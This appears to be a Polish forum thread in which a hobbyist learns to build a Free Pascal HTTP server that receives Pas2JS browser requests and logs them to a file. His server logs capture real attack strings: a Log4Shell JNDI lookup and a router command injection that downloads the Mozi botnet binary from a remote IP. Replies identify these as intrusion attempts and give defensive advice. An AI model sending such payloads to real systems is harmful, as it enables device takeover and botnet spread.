Pas2JS — jak podłaczyć bazę danych Firebird 3?

0
  1. Czy jest możliwość podłaczenia bazy danych firebird 3 na Lazarus używajac pas2js widgetsets?
    (Wiem ze można użyć TMS WEB Core ale szukam darmowej opcji.)

  2. Jak zapisac plik na dysku używajc pas2js.

1

Zakładając, że plik z javascriptem uruchamia się na przeglądarce gdzieś w świecie, a zapis danych itp wykonuje się na serwerze u mnie w biurze, napisałem serwer http korzystający z fphttpapp. W nim rejestruję plik *.js (poprzez RegisterFileLocation). Inaczej mówiąc to serwer http jest od tego aby zapisać, przesłać, słowem przetworzyć dane wysyłane z przeglądarki z uruchomionym plikiem javascript. Na moim kanale youtube zamieściłem kiedyś przykład takiego rozwiązania. Jest siermiężny, ale obrazuje ideę tego podejścia. Tu masz link:

oraz przykład takiej aplikacji z javascriptem pas2js for HttpServer.rar.

0

a przypadkiem Zeoslib nie jest dostępny na Lazarusa?

0

@machinebyte4: Widziałem twój film niestety nie działa on u mnie biore sie za analizowanie twojego kodu.
To co mi potrzebne to zapis stringa z WEdit1.text na serwer.
Jak byś mógł opisać trochę swój projekt byłbym bardzo wdzięczny
Pozdrawiam.

1

1- Strona jest generowana na serwerze http. Mam na myśli serwer napisany przy pomocy fphttpapp.Tutaj kod generowania samej strony:

 with ARes.Contents do
  begin
       Add(
       '       <!doctype html>'+
       '       <html lang="en">'+
       '       <head>'+
       '         <meta http-equiv="Content-type" content="text/javascript; charset=utf-8">'+
       '         <meta name="viewport" content="width=device-width, initial-scale=1">'+
       '         <title>Project1</title>'+
       '         <script src="project1.js"></script>'+
       '       </head>'+
       '       <body>'+
       '         <script>'+
       '         window.addEventListener("load", rtl.run);'+
       '         </script>'+
       '           <button type="submit" id="submitButton" class="1 2 3 4">POST</button>'+
       '           <button type="submit" id="getButton">GET</button>'+
       '         <div id="pasjsconsole">'+
       '         </div>'+
       '       </body>'+
       '       </html>'
       );
       aRes.Code:=200;
       aRes.ContentType := 'text/html; charset=UTF-8';
       aRes.ContentLength := Length(aRes.Content);
       aRes.SendContent;
     end;    

2- W załączniku który posłałem w poprzednim poście jest przykład jak z poziomu pas2js a konkretnie korzystając z TJSXMLHttpRequest obsłużyć zdarzenia naciśnięcia przycisków. Na stronie jest min. przycisk 'POST' za pomocą którego wysyłasz coś tam na serwer http. Jak to się dzieje? Ano przeanalizuj ten fragment

submitButton := document.querySelector('#submitButton');
submitButton.addEventListener('click', @postTask);

Jak widzisz do przycisku typu button jest dodany 'nasłuchiwacz' :) - czyli poprzez addEventListener podpinasz niejako procedurę obsługującą zdarzenie polegające na naciśnięciu tegoż przycisku. Tą procedurą jest postTask a jej kod

    function postTask(Event: TEventListenerEvent): Boolean;
    begin
       //POST
       xhr:=TJSXMLHttpRequest.New;
       xhr.open('POST',window.location.href);
       xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
       xhr.send('joan');
    end;

Dzięki tej procedurze jest możliwe posłanie czegoś do serwera http działającego na tym samym lub innym komputerze. Jeżeli np. chcesz żeby coś zostało wysłane z pola typu Edit, to praktycznie masz już wszystko na tacy. Ale...
Kodu serwera natomiast nie załączyłem, musisz popracować sam. Trochę tam w pkt1 chlapnąłem, niemniej im więcej nauczysz się sam, tym więcej będziesz pamiętał:) Pozdrawiam i wszystkim zdrowego 2022 życzę.

1
mrmajer napisał(a):

Hmmm... Chyba masz panie kolego braki w podstawach, niestety.
I być może będzie problem ze zrozumieniem.

  1. Czy jest możliwość podłaczenia bazy danych firebird 3 na Lazarus używajac pas2js widgetsets?

Bezpośrednio?
Nie.
Po prostu w przeglądarce nie ma opcji, abyś dostał się bezpośrednio do zewnętrzne j bazy danych.
No dobra, są pewne wyjątki od reguły, ale... To są jednak wyjątki.

(Wiem ze można użyć TMS WEB Core ale szukam darmowej opcji.)

Z TMS WEB Core też nie da się tego zrobić tak jak ci się wydaje.
Da się to zrobić, ale zauważ że tam pomiędzy aplikacją w przeglądarce a bazą danych, jest serwer REST z którym to komunikuje się kod z przeglądarki.
W TMS masz taki samograj o nazwie XData, który de-facto jest serwerem REST, do którego zadajesz zapytania, a on Ci odsyła dane.

I co ciekawe, w darmowym mORMocie (który bez problemu użyjesz w Lazarusie) jest dokładnie podobny mechanizm.
Tu masz przykładowy projekt takiego serwera, działa to tak że z poziomu JS wykonujesz sobie metodę Execute w której podajesz zapytanie SQL, a metoda zwraca Ci dane w JSON.

A więc (najprawdopodobniej) da się to zrobić przy pomocy pas2js ale musisz mieć serwer, który możesz napisać sobie w Delphi/FPC lub czymkolwiek innym.

  1. Jak zapisac plik na dysku używajc pas2js.

Nie mam pojęcia :)

1
mrmajer napisał(a):

Tak mam duże braki nie jestem progrmistą tylko elektrykiem, piszę dla przyjemniosci.

Właśnie nauczyłęm sie troche js.
Napisałem dzieki @machinebyte4: serwer który zapisuje plik na dysku z danymi z przegladaki jak dla mnie bomba.

Program pobiera string z Wedit i po nacisnieciu przyciku wysyla na serwera i zapisuje do pliku txt

server.jpg

program project1;
{$mode objfpc}{$H+}
uses
  {$IFDEF UNIX}{$IFDEF UseCThreads}
  cthreads,
  {$ENDIF}{$ENDIF}
  sysutils, fphttpapp, HTTPDefs, httproute, fpwebfile,
  Classes,  CustApp;


procedure Test(aReq: TRequest; aRes: TResponse);
  var
  TF : TextFile;
begin
 //zapis do pliku stringa aReq.Content
   AssignFile(TF, 'plik.txt');
   Append(TF);
   Write(TF, DateTimeToStr(Now)+' ');
   Writeln(TF, aReq.Content );

   CloseFile(TF);

   WriteLn(aReq.Content);

    //tworzy strone html

  with ARes.Contents do
  begin
      Add(
       '       <!doctype html>'+
       '       <html lang="en">'+
       '       <head>'+
       '         <meta http-equiv="Content-type" content="text/javascript; charset=utf-8">'+
       '         <meta name="viewport" content="width=device-width, initial-scale=1">'+
       '         <title>Project1</title>'+
       '         <script src="project1.js"></script>'+
       '       </head>'+
       '       <body>'+
       '         <script>'+
       '           rtl.run();'+
       '         </script>'+
       '       </body>'+
       '       </html>'
       );
       aRes.Code:=200;
       aRes.ContentType := 'text/html; charset=UTF-8';
       aRes.ContentLength := Length(aRes.Content);
       aRes.SendContent;
     end;



end;

  //robi server html
begin
  Application.Port := 80;
  RegisterFileLocation('project1.js', '');
  HTTPRouter.RegisterRoute('/', @Test, True);
  Application.Initialize;
  Application.Threaded:=True;
  Application.Run;
end.

to jest potrzebne do wysyłania z przegladarki

procedure TWForm1.WButton2Click(Sender: TObject);
begin
      xhr:=TJSXMLHttpRequest.New;
       xhr.open('POST','http://192.168.1.101:80');
//     xhr.open('POST',window.location.href);
       xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
       xhr.send(wedit1.Text+' '+wedit2.Text+' '+wedit3.Text);
end;
0

Serwer dziala niestety zauważyłemże są wysyłane komunikaty ktorych nie rozumie jest ich dużo tu tylko kilka przykładów:

5-3-22 07:05:42 data=${jndi:ldap://115.28.134.231:1389/Exploit}
 
5-3-22 18:47:54 XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=``;wget+http://112.230.251.82:54724/Mozi.m+-O+-/tmp/gpon80

8-3-22 02:47:53 <soap:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Header><operationID>00000001-00000001</operationID></soap:Header><soap:Body><RetrieveServiceContent xmlns="urn:internalvim25"><_this xsi:type="ManagedObjectReference" type="ServiceInstance">ServiceInstance</_this></RetrieveServiceContent></soap:Body></soap:Envelope>

1.Podejrzewam że ktoś probuje się dostać na mój komputer czy jest to groźne ?.
2.Jak sie zabezpieczyc przed tym?
3. Jak odczytac IP osoby ktora łączy się z serwerem

1

@mrmajer: to są próby wykorzystania podatności Log4Shell.

0

@skrzat: Dzięki za pomoc właśnie troche poczytłem o Log4Shell. Mysle że jestem bezpieczny.

0

Nie myśl tylko sie zabezpiecz. Mozesz na firewallu dać black liste ip botów, whiteliste autoryzowanych klientow, port knocking, fail to ban.

0

@pieczarek: black liste moge zrobić z ip które boty podaja np.

data=${jndi//115.28.134.231:1389/Exploit}

tu moge dodać do black list 115.28.134.231

ale jak odczytać ip takiego bota

8-3-22 0253 <?xml version="1.0" encoding="ISO-8859-1"?>

<!DOCTYPE NFuseProtocol SYSTEM "NFse.dtd">

<NFuseProtocol version="1.1"><RequetServerData><ServerType>all</Serverype><ClientType>all</ClientType></RequestServerData></NFusePrtocol>

0

Postaw reverse proxy np Nginx - z pudełka masz logi wraz z IP każdego klienta oraz wszystkie ustrojstwa o jakich wspomniałem.

0

Jeszcze raz dziekuje za pomoc.
Przerobiłem troche server (dodałem aReq.RemoteAddress)wiec teraz ma plik logo z datą i adresem ip. Mogę teraz łatwo blokować uzytkowników po adresie IP np. wszystkich logujacych się po godzinach pracy.

procedure Test(aReq: TRequest; aRes: TResponse);
  var
  TF : TextFile;
begin
 //zapis do pliku stringa aReq.Content
   AssignFile(TF, 'log.txt');
   Append(TF);
   Write(TF, DateTimeToStr(Now)+' ');
   Write(TF, aReq.RemoteAddress +' '); 
   Writeln(TF, aReq.Content );

   CloseFile(TF);

   WriteLn(aReq.Content);

    //tworzy strone html

  with ARes.Contents do
  begin
      Add(
       '       <!doctype html>'+
       '       <html lang="en">'+
       '       <head>'+
       '         <meta http-equiv="Content-type" content="text/javascript; charset=utf-8">'+
       '         <meta name="viewport" content="width=device-width, initial-scale=1">'+
       '         <title>Project1</title>'+
       '         <script src="project1.js"></script>'+
       '       </head>'+
       '       <body>'+
       '         <script>'+
       '           rtl.run();'+
       '         </script>'+
       '       </body>'+
       '       </html>'
       );
       aRes.Code:=200;
       aRes.ContentType := 'text/html; charset=UTF-8';
       aRes.ContentLength := Length(aRes.Content);
       aRes.SendContent;
     end;



end;

1 użytkowników online, w tym zalogowanych: 0, gości: 1